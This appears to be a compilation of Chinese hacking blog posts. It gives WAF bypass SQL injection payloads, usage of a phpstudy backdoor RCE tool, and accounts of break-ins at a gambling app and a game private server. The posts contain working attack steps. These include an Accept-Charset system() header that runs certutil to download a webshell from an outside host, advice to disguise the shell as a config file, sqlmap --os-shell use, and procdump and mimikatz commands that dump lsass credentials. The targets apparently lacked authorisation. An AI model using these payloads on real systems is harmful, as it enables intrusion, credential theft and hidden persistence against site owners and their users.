2020年4月

本次的环境为aspx+mssql+云锁的注入测试
首先测试云锁对单引号不敏感,这确实给与了很大的便利

1.png

云锁对union+select,select+from,dbo.sysdatabases等组合会进行拦截

2.png

3.png

4.png

云锁对块注释内的内容不作拦截

5.png

云锁对内联注释内的内容作拦截

6.png

云锁对行注释后的内容不作拦截

7.png

云锁对--+%0a组合后的内容作拦截(%0a为换行,换到下一行的sql语句就不会被注释,常被用来欺骗waf)

8.png

dbo.sysdatabases很容易过,换成..sysdatabases就好了,比如使用master..sysdatabases来查询数据库是不会有问题的

9.png

基于行注释绕过

注释换行大法好

有人可能会问了,在上面的时候我测试了--+%0a不是会被拦截么,难不成像测试安全狗时往注释和%0a之间上如干扰字符来进行绕过么,NO!首先,我们得知道%0a并不是唯一的换行符,还有%0d也是可以用的,经过测试发现安全狗对--+%0d后面的内容不作拦截,我都不懂说啥好...

10.png

内联注释法

在mysql中有一个内联注释/*!这里面是注释*/,由于我们测试的是mssql,内联注释对其不起作用,但是云锁却会去识别其中的内容,就可以造成绕过。比如使用/*!--+*/,云锁看到内联注释会去检测里面的内容,但它发现是一个注释,它会认为后面的内容被注释掉的,就不再检测了,但是由于我们的数据库是mssql,所以就可以绕过

11.png

当然使用/!%23/也是可以的

12.png

别名注释法

在sql查询中我们可以为查询的内容指定一个别名,相当于一个临时的名字,而在mssql中#并不是它的注释符,由于union+select组合也会拦截但是拦截力度不高,可以使用内联注释中放入字母造成绕过,所以就有了以下这条思路,将别名设置为#号

13.png

当然设置为--+也是可以的,不过要加上双引号

14.png

基于块注释绕过

别名注释法

和上面的一样,别名设置为/*然后在注释后面加*/伪造成注释,让云锁以为中间的内容是不生效的从而造成绕过

15.png

最后

此篇文章记录于去年,没啥技术含量,大佬轻喷,小弟拜过
PS:在实战测试中我好像碰到/--+/没绕过结合参数污染?id=/%23--+&id=aaa/绕过的情况,此篇文章只是参考

0x00 概述

20190920 phpstudy爆出存在后门,该软件官网在2016年被入侵,软件安装包(php_xmlrpc.dll)被植入后门,利用http请求头的Accept-Encoding: gzip,deflate和'Accept-Charset'可造成远程代码执行。

本工具支持单url检测,cmdshell,get web shell(写入一句话木马),批量检测。

0x01 需求

python2.7
pip install requests

0x02 快速开始

使用帮助: python phpstudy-backdoor-rce.py -h

1.png

单url漏洞检测: python phpstudy-backdoor-rce.py -u "http://www.xxx.com/"

2.png

cmdshell: python phpstudy-backdoor-rce.py -u "http://www.xxx.com/" --cmdshell

3.png

getshell: python phpstudy-backdoor-rce.py -u "http://www.xxx.com/" --getshell --web-path WWW

4.png

批量检测: python phpstudy-backdoor-rce.py -f urls.txt

5.png

phpstudy-backdoor-rce.zip

实验环境

云锁官网下的

Apache/2.4.23,PHP/5.4,mysql 5

Paylaod

order by 拦截

1.png

order/*!10000by*/5

2.png

union    不拦截
select   不拦截
union select 拦截
union 各种字符 select 拦截
union/*select*/ 不拦截

union%20/*!10000all%20select*/%201,2,database/**/(),4,5

3.png

union/*!10000all*//*!10000select+1,password,username*/,4,5%20from%20user

4.png

安全狗一样过。

参考文章:
https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI

利用模拟器安装好APP,然后进行BURP抓包分析

1.png

通过各种手工分析,找到某处SQL注入漏洞

2.png

之前信息收集的时候已经知道目标开放1433端口(爆破失败) 因此注入的时候,直接 --dbms=mssql 加快速度

注入点类型:

3.png

SA权限的注入点,原谅我菜,目前还没找到后台地址,数据库实在太特么乱了,虽然只有几个数据表,但是我不想一个一个的去翻,直接读sa密码解密失败,行吧,尝试下--os-shell 结果如上图,告诉我不支持,那我们改下类型,指定跑 stack queries 试试

4.png

成功跑出,并且没有降权,连提权都省了,我这RP

接下来就是找绝对路径,然后写shell,拿到shell就方便多了,为什么不直接加用户上服务器呢?因为现在的服务器都是各种云警报,我还深刻的记得某天晚上凌晨4点上某服务器,结果管理员3分钟不到开机叫我衮蛋的事,所以呢,能不上服务器还是别上服务器的好.

已知服务器容器为:IIS7.5 08服务器

获取绝对路径方式: type C:WindowsSystem32inetsrvconfigapplicationHost.config

不过由于注入点变成了延时的,所以速度超级超级慢,我这尿性忍不了,读文件读到一半放弃了.换了个思路

dir/s/b d:initial.aspx 搜索网站的这个文件的路径,得到2个路径,目测不会用中文,所以猜测第一个是绝对路径,然后echo 123试试,发现正确,然后直接写一句话,成功getshell

5.png

6.png

马在根目录不好,上菜刀第一件事先换个隐蔽点的地方在说别的

然后在获得SA密码

7.png

得到sa密码之后我只想说,我为什么会天真的想着去爆破? 用脑子想想也能猜到密码肯定是超级复杂的,我也是服了自己,浪费我流量.

然后继续之前的,读取配置文件,获得后台和代理后台地址:

8.png

9.png

10.png

接下来通过数据库查到密码登陆进去瞧瞧涨什么鸟样

11.png

三万多用户,赌博有啥好玩的,为什么这么多人玩,这玩意真的能赢钱?

12.png

钱买排骨它不香吗?

全程下来,总结一下就是一个注入点引发的血案,太尼玛普通了,我也想来点曲折离奇的故事,但是RP不允许

本来想来波代码审计下的,结果发现看球不懂,菜是原罪

13.png

另外头像处,总感觉有点问题,头像目录没有限制执行权限,然后这个APP是微信登陆抓取微信头像,并且登陆后还可以自定义上传头像,感觉这里有点问题,不过我模拟器还有手机上传抓包APP都卡蹦了,始终抓不到上传包,反编译想找上传接口尝试的,结果还是那句话,菜是原罪,看不懂....

14.png

本文至此告辞。

目标地址:http://xxx.com:86/cj/selectQu.php

风和日丽的一个下午,好基友突然发了一个私服的网站,说搞不下来,我打开网页看了一下,网页十分简单,功能点不多,仅仅只有一个登录框,而且还没办法注册,不好看,随手测了下有无Post注入,单引号大法,结果是没有的。没啥功能点确实是不太好搞,信息收集一波。

1.png

收集网站IP、系统、容器脚本、旁站子域名、端口、目录等信息

2.png

在线没有收集到子域名旁站,抱着试试看的心态用fofa,sadan看能否找到可用信息,结果是没有的,小站很少被收录到。

访问一些可能存在的敏感文件robots.txt,sitemap.xml等,结果也是没有滴

扫目录的时候结果发现是有WAF的,我日。。。像这些小站特别喜欢上WAF,不用白不用的心态。

测试注入的时候没拦,扫目录却拦了,啥WAF

尝试nmap扫端口也被拦了。。。

没办法,只能手动访问判断一些常用端口,像3306、3389、8080、8081、9999端口等

判断网站是apache+php,那么绝大可能是mysql数据库开个3306的端口

当访问到8080端口的时候,咦有新收获,发现一个旁站,是一个注册页面,初步判断不是刚在主站的注册页面,很可能是其它私服的注册,见到登录框就想测试注入,嘿嘿...

3.png

抓包走起。。。

加个单引号报错了,有戏,而且还是前阵子爆出后门的php5.4.45的版本

4.png

既然是apache+php+mysql组合,猜测是phpstudy搭建的,还是个可能有后门的phpstudy,还试个毛注入,肯定先试后门直接可以getshell,看不懂后门自行百度,复现。

很简单

我日,这玩意真的有后门,哈哈,getshell了。

5.png

可执行任何cmd命令,远程下载后门到对方服务器

certutil -urlcache -split -f http://xxx.xxx.com/CONN.txt

尝试几条下载命令都不行,而我可能需要绝对路径,本地测试命令不加绝对路径会默认下载到执行cmd目录,获取目录最简单粗暴的方法就是加符号或者不存在的目录让页面报错,嘿嘿,结果是ThinkPHP cms,这个cms的一个特点就是只要页面报错,80%可能性会把路径爆出来...

6.png

执行远程下载命令

Accept-Encoding: gzip,deflate
......
Accept-charset: system('certutil -urlcache -split -f http://xxx.xxx.com/conn.php D:\mt3\phpStudy\xxx.com\ThinkPHP\Library\Think\Db\databasee.php');

7.png

下载后的木马要善于伪装,不用轻易让管理员查到,一般可以命名网站的配置文件、数据库文件等。
而且遇到一个坑卡了很久,大马进不去,密码是本地测试过是对的,无论输入多少次都是卡在这个页面,也换过其它大马测试也是这样。后来是实在搞不明白去请教前辈,告诉我远程下载的原理是目标服务器去访问我们大马去下载,而服务器只会把访问到前端页面的代码文件下载到电脑,服务器访问就是以下图的页面,所以大马的其它代码没有被下载到,只被下载到这个前端页面。解决的办法就是把大马文件改成txt,这样服务器访问就可以把完整大马代码给下载到,只要下指定绝对路径时改成php脚本就可以正常运行大马了。

Accept-Encoding: gzip,deflate
......
Accept-charset: system('certutil -urlcache -split -f http://xxx.xxx.com/conn.txt D:\mt3\phpStudy\xxx.com\ThinkPHP\Library\Think\Db\databasee.php');

8.png

成功进去之后,也是要信息收集一波,系统、版本、补丁情况、权限、端口开放情况、ip、运行的服务、进程(waf、杀毒)、数据库账号密码、管理员上次在线时间、3389等,防止被管理员撞见就凉凉。。

9.png

查看进程是有个360的和一个不知名waf的,也是新装的服务器,看样子是准备随时跑路

踏破铁鞋无觅处,得来全不费工夫,哈哈

翻目录时找到管理员留底的数据库路径文件,找到数据库账号密码

'DB_NAME'    =>  'xx',// 数据库名称
'DB_USER'    =>  'root',// 数据库用户名
'DB_PWD'    =>  'xxx',// 数据库密码

10.png

权限已经是administrator,所以就无需提权了,要连接对方3389最安全的办法不会去创建用户去添加管理员,而是把对面服务器的账号密码读取出来,但我上次mimikatz是被360给杀了,还好有微软白名单的procdump,嘿嘿

上传procdump.exe读明文密码

D:/mt3/phpStudy/xxx.com/ThinkPHP/Library/Think/Db/procdump.exe -accepteula -ma lsass.exe lsass.dmp

11.png

下载到本地文件(记得把留下的文件删除掉)

把lsass.dmp放入mimikatz

执行命令即可

privilege::debug 提升权限 
sekurlsa::minidump lsass.dmp 指定文件 
sekurlsa::logonpasswords 读取密码

12.png

本文可以学习提到的windows远程下载,抓密码等知识点。虽然提到的网上一搜一大把,主要是运用场景。